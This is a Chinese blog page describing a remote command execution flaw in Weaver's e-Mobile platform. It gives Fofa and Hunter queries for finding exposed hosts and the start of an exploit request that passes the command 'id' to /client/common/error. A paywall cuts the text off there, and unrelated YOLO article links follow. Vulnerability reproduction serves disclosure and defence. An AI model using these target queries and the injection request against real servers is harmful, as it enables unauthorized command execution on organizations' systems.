泛微e-Mobile移动管理平台 error 远程命令执行漏洞复现

最新推荐文章于 2025-09-03 17:48:06 发布
最新推荐文章于 2025-09-03 17:48:06 发布
阅读量1.4k 收藏 2
点赞数 8
CC 4.0 BY-SA版权
分类专栏： 漏洞复现 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/xc_214/article/details/143424795

0x01 产品描述：

        泛微E-Mobile基于泛微成熟产品e-cology，它将协同OA上的公文、流程、通讯录、日程、文件管理、通知公告等应用扩展到手机移动终端，为用户提供更方便更灵活的移动办公应用。移动OA对突发性事件和紧急性事件的处理有极其高效和出色的支持，是管理者、销售人员等经常有外出办公、出差需求的商务人士的贴心的掌上办公产品，适合于已有内部OA系统的大中型企业机构，尤其是企业或部门有较多的分支机构
0x02 漏洞描述：

        泛微e-Mobile 移动管理平台error在远程命令执行漏洞，未经授权的攻击者可利用该漏洞执行任意命令操作，使系统处于极度不安全状态。
0x03 搜索语句：

Fofa：app="泛微-EMobile"

Hunter：web.icon=="f51746305f07a64eafa401adab364ad9"


0x04 漏洞复现：

GET /client/common/error?a=id HTTP/1.1
Ho
了解本专栏 订阅专栏 解锁全文 超级会员免费看
YOLOv12改进策略【损失函数篇】| 引入Soft-NMS，提升密集遮挡场景检测精度，包括GIoU-NMS、DIoU-NMS、CIoU-NMS、SIoU-NMS、 EIou-NMS
Limiiiing的博客
03-11 551
传统的非极大值抑制（NMS）算法在目标检测中存在一个问题，即当一个物体的检测框与具有最高得分的检测框M有重叠（在预定义的重叠阈值内）时，会将该检测框的得分设置为零，从而导致该物体可能被遗漏，降低了平均精度。为了解决这个问题，作者提出了Soft-NMS算法。本文将YOLOv12默认的NMS修改成GIoU-NMSDIoU-NMSCIoU-NMSSIoU-NMSEIou-NMS。
Yolov5/Yolov7优化：引入Soft-NMS，提升密集遮挡场景检测精度
①答疑群聊服务；②YOLO大模型知识问答系统；③计算机视觉论文生成智能体；
06-20 2673
Soft-NMS解决yolov5自带的nms在密集遮挡场景会出现很大的问题，如出现漏检；Soft-NMS的思路：不要粗鲁地删除所有IOU大于阈值的框，而是降低其置信度。
YOLO11 旋转目标检测 | OBB定向检测 | ONNX模型推理 | 旋转NMS
黎国溥
11-12 6160
本文分享YOLO11中，从xxx.pt权重文件转为.onnx文件，然后使用.onnx文件，进行任务的。用，便于算法到开发板或芯片的部署。本文提供源代码，支持不同尺寸图片输入、支持旋转NMS过滤重复框、支持旋转IOU计算。备注：本文是使用Python，编写ONNX模型推理代码的。
YOLO代码部分NMS部分
最新发布
weixin_45859446的博客
09-03 731
参考代码使用yolov11官网
YOLOv11 改进策略 | Soft-NMS 与 IoU 家族损失，提升密集遮挡场景检测精度
走向CTO的路上...
05-08 1191
在目标检测任务中，模型通常会为图像中的许多区域生成大量的候选边界框。非极大值抑制（Non-Maximum Suppression, NMS）是一种标准的后处理算法，用于去除冗余的边界框，保留最终的检测结果。然而，传统的 NMS 算法采用“硬阈值”的策略，当两个真实目标距离很近或发生严重遮挡时，得分较低的真实目标的边界框可能会被得分较高的目标的边界框误删，导致漏检。Soft-NMS 是一种对传统 NMS 的改进，它不直接移除与高得分框重叠的低得分框，而是降低其置信度得分，从而减轻误删问题。
如何选择YOLOv11模型尺寸（n、s、m、l、x）：不同模型的参数量、计算量及适用场景对比
专注Java开发与国产数据库技术分享，涵盖达梦DM8/OceanBase/GaussDB核心原理与实战，兼及DeepSeek大模型部署、YOLOv11训练等AI技术，为开发者提供从基础到进阶的技术干货。
06-21 2249
YOLOv11模型架构与尺寸选择摘要 YOLOv11作为Ultralytics新一代目标检测模型，通过架构创新实现了精度与效率的平衡。核心改进包括：C3K2多尺度卷积模块扩展感受野，C2PSA注意力机制优化特征融合，以及双标签分配策略提升训练效果。模型提供n/s/m/l/x五种尺寸，通过复合缩放系数(深度、宽度、最大通道数)控制规模，参数量从2.62M(n)到56.97M(x)不等。 选择模型需综合考虑四大因素：硬件资源(边缘设备适合轻量级n/s)、实时性要求(高FPS需低GFLOPs)、检测精度需求(复杂
YOLOv5改进系列（14）——更换NMS（非极大抑制）之 DIoU-NMS、CIoU-NMS、EIoU-NMS、GIoU-NMS 、SIoU-NMS、Soft-NMS
路人贾的博客
07-06 6587
手把手教你改进YOLOv5系列更换NMS（非极大抑制）之 DIoU-NMS、CIoU-NMS、EIoU-NMS、GIoU-NMS 、SIoU-NMS、Soft-NMS超级详细！
YOLOv5改进NMS为Soft-NMS
python自学小学生的博客
11-21 1338
-----------------------------------这是Soft_NMS计算方法 start ---------------------------------------------------------------------# 计算每个box的面积# 首先对所有得分进行一次降序排列,仅此一次,以提高后续查找最大值速度. oeder为降序排列后的索引# NMS后,保存留下来的边框keep = []if order.numel() == 1: # 仅剩最后一个box的索引。
YOLOv5改进：非极大值抑制NMS算法改进为DIoU NMS
艾特赵
05-13 1450
中将class_nms 设置为= DloU时，则开启DloU-NMS。中将class_nms 设置为= SloU时，则开启SloU-NMS。中将class_nms 设置为= EloU时，则开启EloU-NMS。中将class_nms 设置为= GloU时，则开启GloU-NMS。第一步：修改general.py，重新定义NMS模块。
二十三. 基于Soft NMS方法对物体检测网络YOLO v5进行性能改进
okgwf的博客
01-13 6627
基于Soft NMS方法对物体检测网络YOLO v5进行性能改进
YOLOv4-object：我们修改NMS procecss
02-10
YOLOv4-object：对象发现的有效模型和方法 此仓库基于 。 抽象 对象发现是指识别图像中的所有未知对象，这对于机器人系统探索未知环境非常重要。 近年来，基于深度学习方法的物体检测模型在物体分类和定位方面取得了令人瞩目的成就。 但是，这些模型很难处理看不见的环境，因为要详尽地预定义所有类型的对象是不可行的。 在本文中，我们提出了模型YOLOv4-object来通过修改YOLOv4的输出空间和相关的图像标签来识别图像中的所有对象。 在COCO数据集上进行的实验通过实现65.13％的查全率（比原始YOLOv4高3.65％）证明了我们方法的有效性。 我们指出，COCO的功能（不标记所有对象）会损害对象发现的学习过程，因此，我们在480个完全标记的图像上微调YOLOv4-object，并显着改善了召回率，从而进一步验证了我们提出的方法的有效性。 而且，我们的方法是可转移的，可扩展的和可压
YOLOv8改进策略【损失函数篇】| 引入Soft-NMS，提升密集遮挡场景检测精度，包括GIoU-NMS、DIoU-NMS、CIoU-NMS、SIoU-NMS、 EIou-NMS
Limiiiing的博客
12-11 1902
传统的非极大值抑制（NMS）算法在目标检测中存在一个问题，即当一个物体的检测框与具有最高得分的检测框M有重叠（在预定义的重叠阈值内）时，会将该检测框的得分设置为零，从而导致该物体可能被遗漏，降低了平均精度。为了解决这个问题，作者提出了Soft-NMS算法。本文将YOLOv8默认的NMS修改成GIoU-NMSDIoU-NMSCIoU-NMSSIoU-NMSEIou-NMS。
YOLOv9改进策略【损失函数篇】| 引入Soft-NMS，提升密集遮挡场景检测精度，包括GIoU-NMS、DIoU-NMS、CIoU-NMS、SIoU-NMS、 EIou-NMS
Limiiiing的博客
09-13 2109
传统的非极大值抑制（NMS）算法在目标检测中存在一个问题，即当一个物体的检测框与具有最高得分的检测框M有重叠（在预定义的重叠阈值内）时，会将该检测框的得分设置为零，从而导致该物体可能被遗漏，降低了平均精度。为了解决这个问题，作者提出了Soft-NMS算法。本文将YOLOv9默认的NMS修改成GIoU-NMSDIoU-NMSCIoU-NMSSIoU-NMSEIou-NMS。
YOLOv10改进策略【损失函数篇】| 引入Soft-NMS，提升密集遮挡场景检测精度，包括GIoU-NMS、DIoU-NMS、CIoU-NMS、SIoU-NMS、 EIou-NMS
Limiiiing的博客
11-08 560
传统的非极大值抑制（NMS）算法在目标检测中存在一个问题，即当一个物体的检测框与具有最高得分的检测框M有重叠（在预定义的重叠阈值内）时，会将该检测框的得分设置为零，从而导致该物体可能被遗漏，降低了平均精度。为了解决这个问题，作者提出了Soft-NMS算法。本文将YOLOv10默认的NMS修改成GIoU-NMSDIoU-NMSCIoU-NMSSIoU-NMSEIou-NMS。
YOLOv11常见处理方式（内含常见处理的完整代码以及理论分析）
记得开心一点嘛的博客
04-01 3176
YOLO 是一种 ​实时目标检测算法，通过单次前向传播直接预测图像中所有物体的类别和位置，兼具高速度和较高精度，广泛应用于自动驾驶、安防监控、工业检测等领域。
YOLOv5改进系列(八) 更换NMS非极大抑制DIoU-NMS、CIoU-NMS、EIoU-NMS、GIoU-NMS 、SIoU-NMS、Soft-NMS
专注于人工智能学习，总结
12-14 2755
即非极大抑制，顾名思义就是抑制不是极大值的元素，搜索局部的极大值。在最近几年常见的物体检测算法（包括RCNN、SPPNet、Fast-RCNN、Faster-RCNN等）中，最终都会从一张图片中找出很多个可能是物体的矩形框，然后为每个矩形框为做类别分类概率。筛选出一定区域内属于同一种类别得分最大的框。如下图，网络模型可以给每个检测框一个score，score越大，说明检测框越接近真实值。《老友记》yyds！然后非最大值抑制的目的是删除score小的框，只剩下sore最大作为最终的预测结果。
芒果YOLOv8改进41：NMS篇：独家首发最新原创WIoU_NMS改进点，改进有效可以直接当做自己的原创改进点来写，提升网络模型性能精度
包括YOLOv5、YOLOv7、YOLOv8等模型改进
11-15 800
YOLOv8原创改进｜最新原创WIoU_NMS改进点
YOLOv5算法改进（19）— 手把手教你去更换NMS（DIoU-NMS/CIoU-NMS/EIoU-NMS/GIoU-NMS/SIoU-NMS）
小哥谈
10-22 1085
本节课就简单介绍一下NMS（非极大值抑制）的基本概念、工作原理等基础知识，并重点讲解如何去更换常见的NMS！
Yolov8优化：引入Soft-NMS并结合各个IOU变体GIOU、DIOU、CIOU、EIOU、SIOU，进一步提升密集遮挡场景检测...
02-26
在目标检测领域，尤其是面对密集遮挡场景时，改进后的NMS算法能够显著提升模型的表现。对于YOLOv8而言，在原有基础上引入Soft-NMS并结合多种类型的交并比(IOU)，可以有效改善此类复杂环境下的检测效果。 #### Soft-...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

iSee857

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值